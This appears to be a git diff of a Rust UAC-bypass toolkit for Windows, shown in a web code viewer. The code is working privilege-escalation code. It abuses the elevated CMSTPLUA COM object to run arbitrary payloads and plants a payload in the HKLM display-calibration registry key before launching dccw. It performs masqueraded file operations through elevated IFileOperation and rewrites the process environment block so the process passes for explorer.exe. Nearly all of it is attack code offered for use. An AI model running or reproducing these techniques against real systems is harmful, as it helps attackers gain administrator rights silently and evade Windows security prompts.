objbase::COINIT_APARTMENTTHREADED,
|
||||
shellapi::SEE_MASK_DEFAULT,
|
||||
winuser::SW_SHOW,
|
||||
},
|
||||
};
|
||||
use winreg::enums::HKEY_LOCAL_MACHINE;
|
||||
|
||||
use crate::com_utils::*;
|
||||
use crate::global::*;
|
||||
use crate::interface::*;
|
||||
use crate::shared::*;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub fn CMLuaUtilShellExec(payload: impl Into<String>, params: *const u16) -> Result<()> {
|
||||
unsafe {
|
||||
let payload = payload.into();
|
||||
let mut p_CMLuaUtil: *mut ICMLuaUtil::ICMLuaUtil = null_mut();
|
||||
|
||||
loop {
|
||||
if is_approved_interface(e(T_CLSID_CMSTPLUA).as_mut_ptr()).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
crate::shared::check(CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED));
|
||||
|
||||
let hr = crate::com_utils::alloc_elevated_object(
|
||||
T_CLSID_CMSTPLUA,
|
||||
IID_ICMLuaUtil,
|
||||
CLSCTX_LOCAL_SERVER,
|
||||
&mut p_CMLuaUtil as *mut _ as *mut _,
|
||||
)?;
|
||||
|
||||
if hr != S_OK {
|
||||
bail!("alloc_elevated_object failed.");
|
||||
}
|
||||
|
||||
(*p_CMLuaUtil).ShellExec(
|
||||
e(&payload).as_ptr(),
|
||||
params,
|
||||
null_mut(),
|
||||
SEE_MASK_DEFAULT,
|
||||
SW_SHOW as _,
|
||||
);
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_CMLuaUtil.is_null() {
|
||||
(*p_CMLuaUtil).Release();
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub fn DccwCOM(payload: impl Into<String>) -> Result<()> {
|
||||
unsafe {
|
||||
let payload = payload.into();
|
||||
let mut p_CMLuaUtil: *mut ICMLuaUtil::ICMLuaUtil = null_mut();
|
||||
let mut p_IColorDataProxy: *mut IColorDataProxy::IColorDataProxy = null_mut();
|
||||
|
||||
loop {
|
||||
if is_approved_interface(e(T_CLSID_CMSTPLUA).as_mut_ptr()).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
if is_approved_interface(e(T_CLSID_ColorDataProxy).as_mut_ptr()).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
crate::shared::check(CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED));
|
||||
|
||||
let hr = crate::com_utils::alloc_elevated_object(
|
||||
T_CLSID_CMSTPLUA,
|
||||
IID_ICMLuaUtil,
|
||||
CLSCTX_LOCAL_SERVER,
|
||||
&mut p_CMLuaUtil as *mut _ as *mut _,
|
||||
)?;
|
||||
|
||||
if hr != S_OK {
|
||||
bail!("alloc_elevated_object failed.");
|
||||
}
|
||||
|
||||
let r = (*p_CMLuaUtil).SetRegistryStringValue(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
e(T_DISPLAY_CALIBRATION).as_ptr(),
|
||||
e(T_CALIBRATOR_VALUE).as_ptr(),
|
||||
e(&payload).as_ptr(),
|
||||
);
|
||||
|
||||
if FAILED(r) {
|
||||
bail!("SetRegistryStringValue failed.");
|
||||
}
|
||||
|
||||
let hr = crate::com_utils::alloc_elevated_object(
|
||||
T_CLSID_ColorDataProxy,
|
||||
IID_IColorDataProxy,
|
||||
CLSCTX_LOCAL_SERVER,
|
||||
&mut p_IColorDataProxy as *mut _ as *mut _,
|
||||
)?;
|
||||
|
||||
if hr != S_OK {
|
||||
bail!("alloc_elevated_object failed.");
|
||||
}
|
||||
|
||||
let r = (*p_IColorDataProxy).LaunchDccw(0 as _);
|
||||
|
||||
if FAILED(r) {
|
||||
bail!("LaunchDccw failed.");
|
||||
}
|
||||
|
||||
let r = (*p_CMLuaUtil).DeleteRegistryStringValue(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
e(T_DISPLAY_CALIBRATION).as_ptr(),
|
||||
e(T_CALIBRATOR_VALUE).as_ptr(),
|
||||
);
|
||||
|
||||
if FAILED(r) {
|
||||
bail!("DeleteRegistryStringValue failed.");
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_CMLuaUtil.is_null() {
|
||||
(*p_CMLuaUtil).Release();
|
||||
}
|
||||
|
||||
if !p_IColorDataProxy.is_null() {
|
||||
(*p_IColorDataProxy).Release();
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod com;
|
||||
@@ -0,0 +1,74 @@
|
||||
use std::{
|
||||
ffi::c_void,
|
||||
mem::{size_of, zeroed},
|
||||
};
|
||||
|
||||
use ntapi::ntrtl::RtlGetVersion;
|
||||
use winapi::{shared::ntdef::HRESULT, um::winnt::RTL_OSVERSIONINFOW};
|
||||
|
||||
pub fn check(result: HRESULT) {
|
||||
if result < 0 {
|
||||
println!("{:?}", result);
|
||||
panic!("Bad HRESULT!")
|
||||
}
|
||||
}
|
||||
|
||||
pub fn file_operation_flags() -> u32 {
|
||||
use crate::global::*;
|
||||
use winapi::um::shellapi::{FOF_NOCONFIRMATION, FOF_SILENT};
|
||||
|
||||
unsafe {
|
||||
if IFileOperationFlags == 0x0 {
|
||||
IFileOperationFlags = if get_build_number() > 14997 {
|
||||
FOF_NOCONFIRMATION as u32 | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION
|
||||
} else {
|
||||
FOF_NOCONFIRMATION as u32
|
||||
| FOF_SILENT as u32
|
||||
| FOFX_SHOWELEVATIONPROMPT
|
||||
| FOFX_NOCOPYHOOKS
|
||||
| FOFX_REQUIREELEVATION
|
||||
};
|
||||
};
|
||||
|
||||
IFileOperationFlags
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_build_number() -> u32 {
|
||||
unsafe {
|
||||
let mut os = zeroed::<RTL_OSVERSIONINFOW>();
|
||||
|
||||
os.dwOSVersionInfoSize = size_of::<RTL_OSVERSIONINFOW>() as _;
|
||||
|
||||
RtlGetVersion(&mut os);
|
||||
|
||||
os.dwBuildNumber
|
||||
}
|
||||
}
|
||||
|
||||
pub fn e(source: &str) -> Vec<u16> {
|
||||
source.encode_utf16().chain(Some(0)).collect()
|
||||
}
|
||||
|
||||
pub fn from_wide_ptr(ptr: *const u16) -> String {
|
||||
use std::ffi::OsString;
|
||||
use std::os::windows::ffi::OsStringExt;
|
||||
unsafe {
|
||||
assert!(!ptr.is_null());
|
||||
let len = (0..std::isize::MAX)
|
||||
.position(|i| *ptr.offset(i) == 0)
|
||||
.unwrap();
|
||||
let slice = std::slice::from_raw_parts(ptr, len);
|
||||
OsString::from_wide(slice).to_string_lossy().into_owned()
|
||||
}
|
||||
}
|
||||
|
||||
pub fn wstr_cat(dest: *mut c_void, src: &[u16]) {
|
||||
unsafe {
|
||||
let buffer = std::slice::from_raw_parts_mut::<u16>(dest as _, src.len());
|
||||
|
||||
for (i, ch) in src.iter().enumerate() {
|
||||
buffer[i] = *ch;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,252 @@
|
||||
use crate::global::*;
|
||||
use crate::interface::*;
|
||||
use crate::shared::*;
|
||||
use anyhow::*;
|
||||
use std::ptr::null_mut;
|
||||
use winapi::{
|
||||
shared::{winerror::S_OK, wtypesbase::CLSCTX_LOCAL_SERVER},
|
||||
um::{
|
||||
combaseapi::{CoInitializeEx, CoUninitialize},
|
||||
objbase::COINIT_APARTMENTTHREADED,
|
||||
shobjidl_core::{IShellItem, SHCreateItemFromParsingName}
|
||||
},
|
||||
};
|
||||
mod bindings {
|
||||
::windows::include_bindings!();
|
||||
}
|
||||
//use bindings::Windows::Win32::Shell::SHCreateItemFromParsingName;
|
||||
//use bindings::Windows::Win32::SystemServices::PWSTR;
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub fn masqueraded_rename(OldName: impl Into<String>, NewName: impl Into<String>) -> Result<()> {
|
||||
unsafe {
|
||||
let OldName = OldName.into();
|
||||
let NewName = NewName.into();
|
||||
let mut p_IFileOperation: *mut IFileOperation::IFileOperation = null_mut();
|
||||
let mut p_IShellItem: *mut IShellItem = null_mut();
|
||||
|
||||
loop {
|
||||
crate::shared::check(CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED));
|
||||
|
||||
if crate::com_utils::alloc_elevated_object(
|
||||
T_CLSID_FileOperation,
|
||||
IID_IFileOperation,
|
||||
CLSCTX_LOCAL_SERVER,
|
||||
&mut p_IFileOperation as *mut _ as *mut _,
|
||||
)? != S_OK
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).SetOperationFlags(file_operation_flags()) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if SHCreateItemFromParsingName(
|
||||
e(&OldName).as_mut_ptr(),
|
||||
null_mut(),
|
||||
IID_IShellItem as *const _ as _,
|
||||
&mut p_IShellItem as *mut _ as *mut _,
|
||||
) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).RenameItem(p_IShellItem, e(&NewName).as_ptr(), null_mut())
|
||||
!= S_OK
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).PerformOperations() != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_IShellItem.is_null() {
|
||||
(*p_IShellItem).Release();
|
||||
p_IShellItem = null_mut();
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_IFileOperation.is_null() {
|
||||
(*p_IFileOperation).Release();
|
||||
}
|
||||
|
||||
if !p_IShellItem.is_null() {
|
||||
(*p_IShellItem).Release();
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub fn masqueraded_copy_or_move(
|
||||
SourceFileName: impl Into<String>,
|
||||
DestinationDir: impl Into<String>,
|
||||
is_move: bool,
|
||||
) -> Result<()> {
|
||||
unsafe {
|
||||
let SourceFileName = SourceFileName.into();
|
||||
let DestinationDir = DestinationDir.into();
|
||||
let mut p_IFileOperation: *mut IFileOperation::IFileOperation = null_mut();
|
||||
let mut p_IShellItem_src: *mut IShellItem = null_mut();
|
||||
let mut p_IShellItem_dst: *mut IShellItem = null_mut();
|
||||
|
||||
loop {
|
||||
crate::shared::check(CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED));
|
||||
|
||||
if crate::com_utils::alloc_elevated_object(
|
||||
T_CLSID_FileOperation,
|
||||
IID_IFileOperation,
|
||||
CLSCTX_LOCAL_SERVER,
|
||||
&mut p_IFileOperation as *mut _ as *mut _,
|
||||
)? != S_OK
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).SetOperationFlags(file_operation_flags()) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if SHCreateItemFromParsingName(
|
||||
e(&SourceFileName).as_mut_ptr(),
|
||||
null_mut(),
|
||||
IID_IShellItem as *const _ as _,
|
||||
&mut p_IShellItem_src as *mut _ as *mut _,
|
||||
) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if SHCreateItemFromParsingName(
|
||||
e(&DestinationDir).as_mut_ptr(),
|
||||
null_mut(),
|
||||
IID_IShellItem as *const _ as _,
|
||||
&mut p_IShellItem_dst as *mut _ as *mut _,
|
||||
) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
let r = if is_move {
|
||||
(*p_IFileOperation).MoveItem(
|
||||
p_IShellItem_src,
|
||||
p_IShellItem_dst,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
)
|
||||
} else {
|
||||
(*p_IFileOperation).CopyItem(
|
||||
p_IShellItem_src,
|
||||
p_IShellItem_dst,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if r != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).PerformOperations() != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_IShellItem_src.is_null() {
|
||||
(*p_IShellItem_src).Release();
|
||||
p_IShellItem_src = null_mut();
|
||||
}
|
||||
|
||||
if !p_IShellItem_dst.is_null() {
|
||||
(*p_IShellItem_dst).Release();
|
||||
p_IShellItem_dst = null_mut();
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_IFileOperation.is_null() {
|
||||
(*p_IFileOperation).Release();
|
||||
}
|
||||
|
||||
if !p_IShellItem_src.is_null() {
|
||||
(*p_IShellItem_src).Release();
|
||||
}
|
||||
|
||||
if !p_IShellItem_dst.is_null() {
|
||||
(*p_IShellItem_dst).Release();
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
pub fn masqueraded_delete(Name: impl Into<String>) -> Result<()> {
|
||||
unsafe {
|
||||
let Name = Name.into();
|
||||
let mut p_IFileOperation: *mut IFileOperation::IFileOperation = null_mut();
|
||||
let mut p_IShellItem: *mut IShellItem = null_mut();
|
||||
|
||||
loop {
|
||||
crate::shared::check(CoInitializeEx(null_mut(), COINIT_APARTMENTTHREADED));
|
||||
|
||||
if crate::com_utils::alloc_elevated_object(
|
||||
T_CLSID_FileOperation,
|
||||
IID_IFileOperation,
|
||||
CLSCTX_LOCAL_SERVER,
|
||||
&mut p_IFileOperation as *mut _ as *mut _,
|
||||
)? != S_OK
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).SetOperationFlags(file_operation_flags()) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if SHCreateItemFromParsingName(
|
||||
e(&Name).as_mut_ptr(),
|
||||
null_mut(),
|
||||
IID_IShellItem as *const _ as _,
|
||||
&mut p_IShellItem as *mut _ as *mut _,
|
||||
) != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).DeleteItem(p_IShellItem, null_mut())
|
||||
!= S_OK
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if (*p_IFileOperation).PerformOperations() != S_OK {
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_IShellItem.is_null() {
|
||||
(*p_IShellItem).Release();
|
||||
p_IShellItem = null_mut();
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
if !p_IFileOperation.is_null() {
|
||||
(*p_IFileOperation).Release();
|
||||
}
|
||||
|
||||
if !p_IShellItem.is_null() {
|
||||
(*p_IShellItem).Release();
|
||||
}
|
||||
|
||||
CoUninitialize();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
pub mod file_operation;
|
||||
|
||||
use crate::global::*;
|
||||
use crate::shared::*;
|
||||
use anyhow::*;
|
||||
use ntapi::{
|
||||
ntldr::{LdrEnumerateLoadedModules, PLDR_DATA_TABLE_ENTRY},
|
||||
ntmmapi::NtAllocateVirtualMemory,
|
||||
ntpsapi::{NtCurrentPeb, NtCurrentProcess},
|
||||
ntrtl::{RtlAcquirePebLock, RtlInitUnicodeString, RtlReleasePebLock},
|
||||
};
|
||||
use std::{env, path::Path};
|
||||
use winapi::{
|
||||
shared::ntdef::{BOOLEAN, NT_SUCCESS, PVOID},
|
||||
um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE},
|
||||
};
|
||||
|
||||
// TODO: dynamic generate pathname, command line, and restore branch
|
||||
// The restore variable always contains false because we never actually unlocks the masquerade :3
|
||||
#[allow(non_snake_case)]
|
||||
pub fn masquerade_process(restore: bool) -> Result<()> {
|
||||
unsafe {
|
||||
let current_peb = NtCurrentPeb();
|
||||
let mut g_lpszExplorer = 0x0 as PVOID;
|
||||
let mut region_size = 0x1000 as usize;
|
||||
|
||||
if !restore {
|
||||
let status = NtAllocateVirtualMemory(
|
||||
NtCurrentProcess,
|
||||
&mut g_lpszExplorer as *const _ as *mut _,
|
||||
0,
|
||||
&mut region_size as _,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
bail!("NtAllocateVirtualMemory failed.");
|
||||
}
|
||||
}
|
||||
|
||||
RtlAcquirePebLock();
|
||||
|
||||
match env::var("SYSTEMROOT") {
|
||||
Ok(path) => {
|
||||
let p = Path::new(&path);
|
||||
let p = p.join("explorer.exe");
|
||||
wstr_cat(g_lpszExplorer as _, &e(p.to_str().unwrap()));
|
||||
}
|
||||
Err(_) => {
|
||||
wstr_cat(g_lpszExplorer as _, &e("C:\\Windows\\explorer.exe"));
|
||||
}
|
||||
};
|
||||
|
||||
let command_line = e("explorer.exe");
|
||||
|
||||
RtlInitUnicodeString(
|
||||
&mut (*(*current_peb).ProcessParameters).ImagePathName,
|
||||
g_lpszExplorer as _,
|
||||
);
|
||||
RtlInitUnicodeString(
|
||||
&mut (*(*current_peb).ProcessParameters).CommandLine,
|
||||
command_line.as_ptr(),
|
||||
);
|
||||
|
||||
RtlReleasePebLock();
|
||||
|
||||
LdrEnumerateLoadedModules(0, Some(LdrEnumModulesCallback), g_lpszExplorer as _);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(non_snake_case)]
|
||||
unsafe extern "system" fn LdrEnumModulesCallback(
|
||||
ModuleInformation: PLDR_DATA_TABLE_ENTRY,
|
||||
Parameter: PVOID,
|
||||
Stop: *mut BOOLEAN,
|
||||
) {
|
||||
let current_peb = NtCurrentPeb();
|
||||
|
||||
let full_dll_name = Parameter as *mut u16;
|
||||
let base_dll_name = e("explorer.exe");
|
||||
|
||||
if (*ModuleInformation).DllBase == (*current_peb).ImageBaseAddress {
|
||||
RtlInitUnicodeString(&mut (*ModuleInformation).FullDllName, full_dll_name);
|
||||
RtlInitUnicodeString(
|
||||
&mut (*ModuleInformation).BaseDllName,
|
||||
base_dll_name.as_ptr(),
|
||||
);
|
||||
|
||||
*Stop = true as _;
|
||||
}
|
||||
|
||||
*Stop = false as _;
|
||||
}
|
||||
Reference in New Issue
Block a user